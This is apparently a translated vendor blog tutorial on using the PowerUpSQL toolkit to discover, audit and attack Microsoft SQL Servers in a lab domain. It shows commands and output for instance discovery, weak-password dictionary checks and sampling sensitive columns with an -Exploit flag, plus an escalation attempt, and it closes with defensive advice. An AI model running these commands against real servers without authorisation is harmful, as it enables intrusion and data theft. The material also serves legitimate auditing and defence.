使用 PowerUpSQL 破坏 SQL Server
如果你在寻找一个工具包,用于从头到尾完全控制 Microsoft SQL Server,那么你需要的是 PowerUpSQL 。它使用 PowerShell 实现,功能完善且相当齐全。 PowerUpSQL 具备工具,可用于发现、攻破并完全掌控几乎任何 SQL 系统。这是一款工具中集成了完整的杀伤链。本文详细介绍如何使用 PowerUpSQL 执行关键攻击步骤。
精选相关内容:
请注意,我们在所使用的系统(一个非常“原生”的 MS SQL 2012 版本)上得到的结果非常不一致。我们将明确指出:在有无系统管理员权限的情况下,我们的结果在哪些方面有所不同。如果你需要关于如何获取系统级管理员权限的建议,请查看我们汇编的 攻击核心 AD 基础设施的技术,以及我们关于 AD 服务账户攻击 的文章,利用配置错误权限的攻击 以及我们关于 Mimikatz 攻击 的系列内容。
发现
要查找域中的所有 SQL 服务器,可以使用 Get-SQLInstanceDomain cmdlet:
PS C:PowerUpSQL-master> Get-SQLInstanceDomain -Verbose
VERBOSE: Grabbing SPNs from the domain for SQL Servers (MSSQL*)...
VERBOSE: Parsing SQL Server instances from SPNs...
VERBOSE: 2 instances were found.
ComputerName : APP02.sbcloudlab.com
Instance : APP02.sbcloudlab.com,1433
DomainAccountSid : 150000052100028833955189196181169249219979400
DomainAccount : APP02$
DomainAccountCn : APP02
Service : MSSQLSvc
Spn : MSSQLSvc/APP02.sbcloudlab.com:1433
LastLogon : 1/9/2018 7:10 AM
Description :
ComputerName : APP02.sbcloudlab.com
Instance : APP02.sbcloudlab.com
DomainAccountSid : 150000052100028833955189196181169249219979400
DomainAccount : APP02$
DomainAccountCn : APP02
Service : MSSQLSvc
Spn : MSSQLSvc/APP02.sbcloudlab.com
LastLogon : 1/9/2018 7:10 AM
描述:
另外还有 Get-SQLInstanceLocal ,它会执行同类的发现操作,但仅限于本地实例。域版本的噪声更大,但如果你在网络中只有一个可攻击的位置,它就能完成你需要的工作。如果你掌控的网络范围更广,并希望发出的信号更少,那么在每台系统上运行本地版本就能达到目的。在这种情况下,无论我们是普通用户还是 Domain Admin,都能获得类似的结果。
目标选择
当你有几台想要锁定的 MS SQL 系统——或者你有很多台,并且正在试图弄清楚哪些才是最佳目标——你可能会想进一步了解它们中的每一台。 Get?SQLServerInfo 将为你提供关于潜在目标的有用信息快照。请注意:要获得较好的结果,我们似乎需要管理员权限。
PS C:PowerUpSQL-master> Get-SQLInstanceLocal | Get-SQLServerInfo
ComputerName : APP02
Instance : APP02
DomainName : SBCLOUDLAB
ServiceProcessID : 4980
ServiceName : MSSQLSERVER
ServiceAccount : NT ServiceMSSQLSERVER
AuthenticationMode : Windows 和 SQL Server 身份验证
Clustered : 否
SQLServerVersionNumber : 11.0.2100.60
SQLServerMajorVersion : 2012
SQLServerEdition : Standard Edition (64-bit)
SQLServerServicePack : RTM
OSArchitecture : X64
OsMachineType : ServerNT
OSVersionName : Windows Server 2012 R2 Standard
OsVersionNumber : 6.2
Currentlogin : SBCLOUDLABjonathan
IsSysadmin : 是
ActiveSessions : 1
这个示例展示了 PowerUpSQL 的最佳功能之一:支持管道(piping)。正如你所看到的,我们将 Get-SQLInstanceLocal 的结果通过管道传递给 Get-SQLServerInfo,因此只需一条命令,就能获取该主机上所有 SQL 实例的结果。更广泛地说,你可以利用这一功能轻松构建能够快速执行复杂操作的破解脚本。
查找漏洞利用(Exploits)和敏感数据
利用从 Get-SQLServerInfo 中学到的内容,我们本可以去威胁与漏洞的标准库里找一些东西,用来利用该系统。但不必这样——PowerUpSQL 还有另一个强力的“绝招”。 Invoke-SQLAudit 这个 cmdlet 会字面意义上为你完成所有破解工作。它会检查几乎所有标准方式:入侵数据库、查找敏感信息,并将其外传到你可以带走的形式。
当你调用它时,首先会看到类似这样的结果洪流:
PS C:PowerUpSQL-master> Invoke-SQLAudit -Verbose -Instance "APP02.sbcloudlab.com"
VERBOSE: LOADING VULNERABILITY CHECKS.
VERBOSE: RUNNING VULNERABILITY CHECKS.
VERBOSE: APP02.sbcloudlab.com : RUNNING VULNERABILITY CHECKS...
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Default SQL Server Login Password
VERBOSE: APP02.sbcloudlab.com : No named instance found.
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Default SQL Server Login Password
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Weak Login Password
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.
VERBOSE: APP02.sbcloudlab.com - Getting supplied login...
VERBOSE: APP02.sbcloudlab.com - Getting list of logins...
VERBOSE: APP02.sbcloudlab.com - Performing dictionary attack...
VERBOSE: APP02.sbcloudlab.com - Failed Login: User = sa Password = sa
VERBOSE: APP02.sbcloudlab.com - Failed Login: User = ##MS_PolicyEventProcessingLogin## Password =
##MS_PolicyEventProcessingLogin##
VERBOSE: APP02.sbcloudlab.com - Failed Login: User = ##MS_PolicyTsqlExecutionLogin## Password =
##MS_PolicyTsqlExecutionLogin##
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Weak Login Password
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: PERMISSION - IMPERSONATE LOGIN
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.
VERBOSE: APP02.sbcloudlab.com : - No logins could be impersonated.
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: PERMISSION - IMPERSONATE LOGIN
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Excessive Privilege - Server Link
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.
VERBOSE: APP02.sbcloudlab.com : - No exploitable SQL Server links were found.
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Excessive Privilege - Server Link
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Excessive Privilege - Trusted Database
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.
VERBOSE: APP02.sbcloudlab.com : - No non-default trusted databases were found.
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Excessive Privilege - Trusted Database
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Excessive Privilege - Database Ownership Chaining
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.
VERBOSE: APP02.sbcloudlab.com : - The database master has ownership chaining enabled.
VERBOSE: APP02.sbcloudlab.com : - The database tempdb has ownership chaining enabled.
VERBOSE: APP02.sbcloudlab.com : - The database msdb has ownership chaining enabled.
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Excessive Privilege - Database Ownership Chaining
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: PERMISSION - CREATE PROCEDURE
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS
VERBOSE: APP02.sbcloudlab.com : Grabbing permissions for the master database...
VERBOSE: APP02.sbcloudlab.com : Grabbing permissions for the tempdb database...
VERBOSE: APP02.sbcloudlab.com : Grabbing permissions for the model database...
<snip>
但这只是 Invoke-SQLAudit 的启动过程而已。它在完成所有权限级别检查之后,会逐一检查特定的、已知的漏洞,并报告每一项的发现结果:
ComputerName : APP02.sbcloudlab.com
Instance : APP02.sbcloudlab.com
Vulnerability : Excessive Privilege - Database Ownership Chaining
Description : 已发现在服务器或数据库级别启用了所有权链(ownership chaining)。启用所有权链可能
导致对数据库资源的未授权访问。
Remediation : 将受影响的数据库配置为将 'is_db_chaining_on' 标志设置为 'false'。可使用类似 'ALTER DATABASE Database1 SET DB_CHAINING ON' 的查询来启用链式功能。也可使用类似 'ALTER
DATABASE Database1 SET DB_CHAINING OFF;' 的查询来禁用链式功能。
Severity : Low
IsVulnerable : Yes
IsExploitable : No
Exploited : No
ExploitCmd : 目前没有可用的利用(exploit)。
Details : 已发现数据库 master 配置为启用所有权链。
Reference : https://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx,https://msdn.microsoft.com/en-us/l
ibrary/bb669059(v=vs.110).aspx
Author : Scott Sutherland (@_nullbind), NetSPwe 2016
ComputerName : APP02.sbcloudlab.com
Instance : APP02.sbcloudlab.com
Vulnerability : Excessive Privilege - Database Ownership Chaining
Description : 已发现在服务器或数据库级别启用了所有权链(ownership chaining)。启用所有权链可能
导致对数据库资源的未授权访问。
Remediation : 将受影响的数据库配置为将 'is_db_chaining_on' 标志设置为 'false'。可使用类似 'ALTER DATABASE Database1 SET DB_CHAINING ON' 的查询来启用链式功能。也可使用类似 'ALTER
DATABASE Database1 SET DB_CHAINING OFF;' 的查询来禁用链式功能。
Severity : Low
IsVulnerable : Yes
IsExploitable : No
Exploited : No
ExploitCmd : 目前没有可用的利用(exploit)。
Details : 已发现数据库 tempdb 配置为启用所有权链。
Reference : https://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx,https://msdn.microsoft.com/en-us/l
ibrary/bb669059(v=vs.110).aspx
Author : Scott Sutherland (@_nullbind), NetSPwe 2016
阅读这个 cmdlet 的结果时,不管你的目标到底有多么脆弱,都有点像是在上 SQL Server 漏洞利用的“精英进阶课”。此外,作者还把工具包留出了扩展空间,以便在发现新的漏洞和利用方式时进行补充。因此,我们应该预期这份清单会随着时间不断增长。
而且这还不是全部。完成漏洞检查之后,它还会尝试查找你可能想要窃取的数据:
ComputerName : APP02.sbcloudlab.com
Instance : APP02.sbcloudlab.com
Vulnerability : Potentially Sensitive Columns Found
Description : 在非默认数据库中发现了可能包含敏感信息的列。
Remediation : 确保所有密码和 senstive 数据都已进行脱敏、哈希处理或加密。
Severity : Informational
IsVulnerable : Yes
IsExploitable : Yes
Exploited : Yes
ExploitCmd : Invoke-SQLAuditSampleDataByColumn -Instance APP02.sbcloudlab.com -Exploit
Details : 来自 [REDACTED] 的数据样本 : "[REDACTED]"。
Reference : https://msdn.microsoft.com/en-us/library/ms188348.aspx
Author : Scott Sutherland (@_nullbind), NetSPwe 2016
ComputerName : APP02.sbcloudlab.com
Instance : APP02.sbcloudlab.com
Vulnerability : Potentially Sensitive Columns Found
Description : 在非默认数据库中发现了可能包含敏感信息的列。
Remediation : 确保所有密码和 senstive 数据都已进行脱敏、哈希处理或加密。
Severity : Informational
IsVulnerable : Yes
IsExploitable : Yes
Exploited : Yes
ExploitCmd : Invoke-SQLAuditSampleDataByColumn -Instance APP02.sbcloudlab.com -Exploit
Details : 来自 [REDACTED] 的数据样本 : "[REDACTED]"。
Reference : https://msdn.microsoft.com/en-us/library/ms188348.aspx
Author : Scott Sutherland (@_nullbind), NetSPwe 2016
这些结果(出于显而易见的原因做了些许遮掩)只是我们目标中众多发现项中的两个而已。作者在做这些事情时,甚至也在“吃自己的狗粮”。正如结果中所述,这些结果是使用 “Invoke-SQLAuditSampleDataByColumn -Instance APP02.sbcloudlab.com -Exploit” cmdlet 查找到的。
权限提升
在使用 PowerUpSQL 时,令人失望的一点是:这个非常强大的 Invoke-SQLEscalatePriv 在我们的环境中从未奏效。我们尝试了不同的用户、主机、执行类型(本地和远程)以及不同类型的权限,但它始终无法提升用户的权限。原因似乎是 MS SQL 2012 Enterprise Edition 中的默认设置。下面是在以非管理员用户身份运行时我们看到的结果:
PS C:PowerUpSQL-master> Invoke-SQLEscalatePriv -Verbose -Instance "APP02.s
bcloudlab.com"
PS C:PowerUpSQL-master>
当我们以管理员身份运行时,会得到这些正确但毫无惊喜的结果:
PS C:PowerUpSQL-master> Invoke-SQLEscalatePriv -Verbose -Instance "APP02.sbcloudlab.com"
VERBOSE: APP02.sbcloudlab.com : 检查你是否已经是 sysadmin...
VERBOSE: APP02.sbcloudlab.com : 你是,所以这里无需操作。 :)
PS C:PowerUpSQL-master>
从网上资料来看,这个 cmdlet 似乎对许多人是有效的。
其他功能
可以很容易想象,使用这个工具来先大致了解应该瞄准什么,然后再精确锁定。我们会编写一个脚本,充分利用管道(piping)来找到我们拥有最大权限的位置,然后再针对这些位置上的敏感数据展开行动。
我们总是在从数据外传(exfiltration)的角度思考,但也许你的目标是系统所有权(system ownership)呢?PowerUpSQL 同样提供了通往这一目标的路径,不过我们将在下一篇文章中看看如何做到这一点。确实,PowerUpSQL 的内容多到我们还能继续很长时间。然而,作者们已经把他们的工具讲得很充分,所以我们到这里为止。
防御 PowerUpSQL
现在让我们来看看你可以采取哪些措施来防御 PowerUpSQL。对我们的“乐趣”来说是坏消息,对我们的数据却是好消息:PowerUpSQL 里有很多看起来需要管理员权限(admin rights)的操作,其实都由 SQL 2012 Enterprise Edition 的默认安全态势(default security posture)来处理。不过,现实是:如今大多数组织里的管理员权限都很容易被攻破(crack),因此这似乎只是通往成功道路上的一个小障碍。
不过,仍然有一些经过验证的步骤可以帮助保护你的组织:
- 为 SQL Server 强制实施最小权限(least privilege)模型。 本地管理员和域管理员真的也需要同时成为 SQL 数据库管理员和 sys 管理员吗?制定一项清晰、书面的政策,详细说明为什么以及何时需要这些权限。将这些管理职能保持分离,可以避免一个被攻破进而导致另一个也被攻破。
- 调查对 SQL 系统设置所做的任何更改可能带来的安全影响。应用程序供应商往往只为省掉几个步骤而要求更改安全设置——而这些步骤可能决定是安全还是遭到入侵。要弄清楚这一点,一个方法是运行 PowerUpSQL 审计 在对测试系统进行此类更改之前和之后分别运行,然后对比结果。
- 确保所有密码和敏感数据都经过脱敏(masking)、哈希(hashed)或加密(encrypted)。如果“坏人”盯上的是数据,那么这是阻止他们获取数据的最佳方式。系统总是可能被破解,但良好的加密对于除最复杂的对手之外的人来说几乎就是一道坚不可摧的墙。如果这类对手正在伺机获取你的数据,那么你需要考虑更高层级的风险。
- 只要有可能,请避免诸如数据库所有权链(database ownership chaining)这类高风险配置。 与设置变更一样,这类数据库级功能往往只是为了节省开发人员的一些时间。在考虑这些配置时,请确保至少会评估相关风险。通常最具挑战的部分在于找出这些讨论发生在什么地方、何时发生,以及如何对其施加影响。
- 确保你的系统按照计划定期打补丁,以尽可能保持最新。这可能是安全领域里最“老生常谈”的建议,但它确实是真的。此处测试的许多漏洞,如果进行了恰当的补丁更新,本来就会被修复。补丁并不能解决所有安全问题,但它们确实可以避免当事情进展很糟、你又知道可能(甚至肯定)是因为缺少补丁而导致时,那种让人心里发慌的情况。
Netwrix 如何提供帮助
数据库中往往包含高度敏感的信息,这使其成为攻击者的首要目标。要实现强有力的安全防护,数据库管理员需要了解其整个 SQL 足迹,覆盖本地机房与云端环境。 Netwrix StealthAUDIT 它会自动揭示:SQL 数据库所在的位置、谁拥有对其的访问权限、他们是如何获得该访问权限的、谁或什么在利用这些访问权限、敏感信息存放在哪,以及每个数据库是如何配置的。
分享到
滥用 Entra ID 应用权限——工作原理与防御策略
AdminSDHolder 修改——工作原理与防御策略
AS-REP Roasting 攻击:工作原理与防御策略
Hafnium 攻击——工作原理与防御策略
DCSync 攻击解析:对 Active Directory 安全的威胁
理解 Pass-the-Hash(PtH)攻击
什么是 Golden Ticket 攻击?工作原理、检测与防护
gMSA 利用攻击与 Golden gMSA 攻击详解
DCShadow 攻击——工作原理、真实案例与防御策略
ChatGPT 提示注入(prompt injection):了解风险、示例与防范
NTDS.dit 提取攻击详解
Kerberoasting 攻击——工作原理与防御策略
Pass-the-Ticket(传票)攻击解析:风险、示例与防御策略
理解密码喷洒(password spraying)攻击
明文密码提取(Plaintext Password Extraction)解析:风险、示例与防范
Zerologon 漏洞详解:风险、利用方式与缓解措施
勒索软件攻击完整指南
Skeleton Key 攻击:工作原理与检测方法
横向移动(Lateral Movement):它是什么、如何运作及防护措施
中间人(MITM)攻击:它们是什么,以及如何防范
Silver Ticket 攻击
4 种服务账号攻击及防护方法
为什么 PowerShell 对攻击者来说如此受欢迎?
如何防止恶意软件攻击影响您的业务
什么是凭证填充(Credential Stuffing)?
什么是 Mousejacking(鼠标劫持)攻击,以及如何防御
使用 Security Support Provider(SSP)窃取凭据
通过 Pass-the-Cookie 攻击绕过 MFA
Golden SAML 攻击终极指南